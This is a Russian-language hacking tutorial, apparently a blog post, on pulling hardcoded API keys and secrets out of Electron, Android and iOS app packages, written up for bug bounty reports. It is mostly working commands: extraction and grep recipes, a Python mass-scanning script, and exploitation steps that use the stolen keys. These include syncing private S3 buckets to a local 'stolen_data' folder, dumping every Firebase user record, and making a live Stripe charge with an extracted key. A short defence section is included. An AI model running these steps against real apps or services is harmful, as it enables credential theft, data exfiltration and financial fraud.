Суть проблемы (для тех, кто в танке)
Разработчики вшивают API-ключи/токены/секреты прямо в код клиентских приложений, думая: «Ну это же скомпилированный бинарник, кто там полезет?». Спойлер: любой школьник с 7zip.
Desktop-приложения на Electron упаковывают JS в .asar (по сути — архив). Android APK — это переименованный ZIP. iOS IPA — та же история. Внутри — plaintext JS/XML/strings с твоими AWS keys, Firebase secrets, Stripe tokens. Вскрывается за 2 минуты, эксплуатируется вечно.
Почему это катастрофа:
• Ключи с полными правами (s3:*, dynamodb:*)
• Токены OAuth без refresh rotation
• Жёстко вшитые пароли от БД
• Production secrets в dev-билдах
Форматы и точки входа
Electron (.asar) — 90% desktop-приложений
Что это: Electron упаковывает Node.js + Chromium. Весь JS-код лежит в app.asar или app.asar.unpacked.
Где найти:
• Windows: C:\Program Files\AppName\resources\app.asar
• macOS: /Applications/AppName.app/Contents/Resources/app.asar
• Linux: /opt/appname/resources/app.asar
Как вскрыть:
|
1 2 3 4 5 6 7 8 9 10 11 12 |
# 1. Установи asar extractor npm install -g asar # 2. Распакуй asar extract app.asar extracted/ # 3. Греп по всем файлам grep -r "AKIA[0-9A-Z]{16}" extracted/ # AWS keys grep -r "sk_live_" extracted/ # Stripe grep -r "AIzaSy" extracted/ # Google API grep -r "ghp_" extracted/ # GitHub tokens grep -r "postgres://.*@" extracted/ # DB credentials |
Пример находки:
|
1 2 3 4 5 6 7 |
// extracted/main.js const AWS = require('aws-sdk'); AWS.config.update({ accessKeyId: 'AKIAIOSFODNN7EXAMPLE', // Вот он, кролик secretAccessKey: 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY', region: 'us-east-1' }); |
Android (.apk) — миллиарды устройств
Что это: APK = ZIP с Dalvik-байткодом + ресурсами. Даже после обфускации ProGuard — строки остаются читаемыми.
Как вскрыть:
|
1 2 3 4 5 6 7 8 9 10 11 12 |
# 1. Переименуй и распакуй mv app.apk app.zip unzip app.zip -d apk_extracted/ # 2. Декомпиль DEX → Java apktool d app.apk -o apk_decompiled/ # 3. Ищем по строкам grep -r "sk_test_" apk_decompiled/ # Stripe test keys (часто работают в prod) grep -r "mongodb+srv://" apk_decompiled/ # MongoDB Atlas strings apk_extracted/classes.dex | grep -i "password" strings apk_extracted/resources.arsc | grep "api.key" |
Типичные места:
• res/values/strings.xml — прямо в XML
• assets/config.json — JSON-конфиги
• lib/armeabi-v7a/*.so — нативные либы (используй strings или Ghidra)
Пример из strings.xml:
|
1 2 |
<string name="firebase_url">https://myapp.firebaseio.com</string> <string name="firebase_secret">AIzaSyDXXXXXXXXXXXXXXXXXXXXXXXX</string> |
iOS (.ipa) — закрытая экосистема, но не безопасная
Что это: IPA = ZIP с бинарником Mach-O + ресурсы. Обфускация Swift/Objective-C слабая, строки вшиты в бинарь.
Как вскрыть:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
# 1. Распакуй unzip app.ipa -d ipa_extracted/ # 2. Найди главный бинарь cd ipa_extracted/Payload/AppName.app/ # 3. Дампим строки strings AppName | grep -i "api" strings AppName | grep "sk_live" strings AppName | egrep "[A-Za-z0-9]{20,}" # Длинные токены # 4. Для глубокого анализа — Hopper/IDA # Ищи hardcoded strings в секции __TEXT.__cstring |
Бонус: Проверь Info.plist и все .json в бандле:
|
1 2 |
cat Info.plist | grep -A 5 "API" find . -name "*.json" -exec cat {} \; | grep "secret" |
Автоматизация охоты
Скрипт для массового сканирования
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
#!/usr/bin/env python3 import re, os, subprocess, zipfile PATTERNS = { 'AWS': r'AKIA[0-9A-Z]{16}', 'Stripe': r'sk_(live|test)_[0-9a-zA-Z]{24,}', 'Google': r'AIzaSy[0-9A-Za-z\-_]{33}', 'GitHub': r'ghp_[0-9a-zA-Z]{36}', 'Slack': r'xoxb-[0-9]{11}-[0-9]{11}-[0-9a-zA-Z]{24}', 'JWT': r'eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.', } def scan_asar(path): subprocess.run(['asar', 'extract', path, '/tmp/asar_dump']) for root, _, files in os.walk('/tmp/asar_dump'): for f in files: scan_file(os.path.join(root, f)) def scan_apk(path): with zipfile.ZipFile(path, 'r') as z: z.extractall('/tmp/apk_dump') subprocess.run(['apktool', 'd', path, '-o', '/tmp/apk_decompiled']) for root, _, files in os.walk('/tmp/apk_decompiled'): for f in files: scan_file(os.path.join(root, f)) def scan_file(filepath): try: with open(filepath, 'r', errors='ignore') as f: content = f.read() for name, pattern in PATTERNS.items(): matches = re.findall(pattern, content) if matches: print(f"[!] {name} in {filepath}: {matches[0]}") except: pass # Использование: # scan_asar('app.asar') # scan_apk('app.apk') |
TruffleHog для ленивых
|
1 2 |
# Скачай приложение, распакуй, прогони TruffleHog trufflehog filesystem --directory=./extracted --json | jq '.detector,.raw' |
Че почем: реальные сценарии эксплойтов
Electron-приложение с AWS ключами
Находка:
|
1 2 3 4 5 |
// Slack Desktop (условный пример) const s3 = new AWS.S3({ accessKeyId: 'AKIAIOSFODNN7EXAMPLE', secretAccessKey: 'wJalrXUtnFEMI/...' }); |
Эксплойт:
|
1 2 3 4 5 6 7 8 9 10 |
# 1. Достань креды из app.asar asar extract /Applications/App.app/Contents/Resources/app.asar dump/ grep -r "accessKeyId" dump/ # 2. Проверь права aws sts get-caller-identity --profile stolen aws s3 ls --profile stolen # Если видишь баケты — праздник # 3. Дампи всё aws s3 sync s3://private-bucket ./stolen_data --profile stolen |
Пейлоад для репорта:
|
1 2 3 |
# Докажи, что ключ рабочий: aws s3 cp s3://target-private/users.db proof.db --profile stolen md5sum proof.db # Хеш для доказательства |
Android APK с Firebase admin SDK
Находка в assets/google-services.json:
|
1 2 3 4 5 6 7 8 9 10 |
{ "project_info": { "project_id": "myapp-12345" }, "client": [{ "api_key": [{ "current_key": "AIzaSyDXXXXXXXXXXXXXXXXXXXXXXXX" }] }] } |
Эксплойт:
|
1 2 3 4 5 6 7 8 9 10 11 |
import firebase_admin from firebase_admin import credentials, firestore # Украденный ключ cred = credentials.Certificate('stolen-firebase-key.json') firebase_admin.initialize_app(cred) db = firestore.client() users = db.collection('users').stream() for u in users: print(f"User: {u.id}, Data: {u.to_dict()}") # Дамп всех юзеров |
iOS IPA с Stripe secret key
Находка через strings:
|
1 2 |
strings AppName | grep "sk_live" # Output: sk_live_51XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX |
Эксплойт:
|
1 2 3 4 5 6 7 |
# Создай платёж от имени приложения curl https://api.stripe.com/v1/charges \ -u sk_live_51XXXXX: \ -d amount=1000 \ -d currency=usd \ -d source=tok_visa \ -d description="Proof of hardcoded key" |
Доказательство для баунти
1. Путь к бинарнику (ссылка на скачивание или хеш)
2. Команда извлечения (asar extract app.asar dump/)
3. Скриншот найденного ключа в исходниках
4. Proof of concept:
• AWS: aws s3 ls с выводом бакетов
• API: curl с валидным ответом (замаскируй реальные данные)
5. Impact: Полный доступ к prod-данным/платёжной системе/юзерам
Типичный payout: $1000-$10000+ в зависимости от скоупа ключа.
Защита (для разрабов, если читают)
• НЕ ВШИВАЙ СЕКРЕТЫ В КЛИЕНТ. Точка.
• Используй OAuth с PKCE (клиент НЕ хранит client_secret)
• Backend Proxy: клиент → твой API → внешний сервис
• Для мобилок: Android Keystore / iOS Keychain (но и там баги бывают)
• Rotate keys регулярно + мониторь их использование
Советы
Если стандартный grep не дал результата:
1. Обфусцированные строки: Разрабы используют Base64/ROT13/XOR. Ищи паттерны:
|
1 2 3 4 |
# Base64 AWS keys (AKIA в base64 = QUtJQS) grep -r "QUtJQ" extracted/ # Проверь все base64-строки длиннее 20 символов find . -type f -exec grep -oE '[A-Za-z0-9+/]{20,}={0,2}' {} \; | base64 -d 2>/dev/null | grep "AKIA" |
2. Нативные библиотеки (.so/.dylib): Запусти Ghidra, ищи строковые референсы в функциях init_* и config_*:
|
1 |
strings app.so | grep -E "(api|secret|password|token)" -i |
3. Динамический анализ: Запусти приложение в эмуляторе/VM, логируй весь сетевой трафик через mitmproxy:
|
1 |
mitmproxy -s extract_headers.py # Скрипт для дампа всех headers |
3. Ключи часто отправляются в Authorization: Bearer ТВОЙ_КЛЮЧ.
4. Electron DevTools: Если можешь запустить приложение, открой DevTools (Ctrl+Shift+I), вкладка Sources — весь код на виду.
5. Memory dump: Запусти приложение, дампи память процесса:
|
1 2 3 |
# Linux gcore $(pidof app) strings core.XXXX | grep "AKIA" |
6. GitHub Dorks: Разрабы часто пушат креды в пубичные репы, потом удаляют commit, но забывают про историю:
|
1 2 |
"AKIAIOSFODNN" filename:package.json extension:asar "secretAccessKey" |



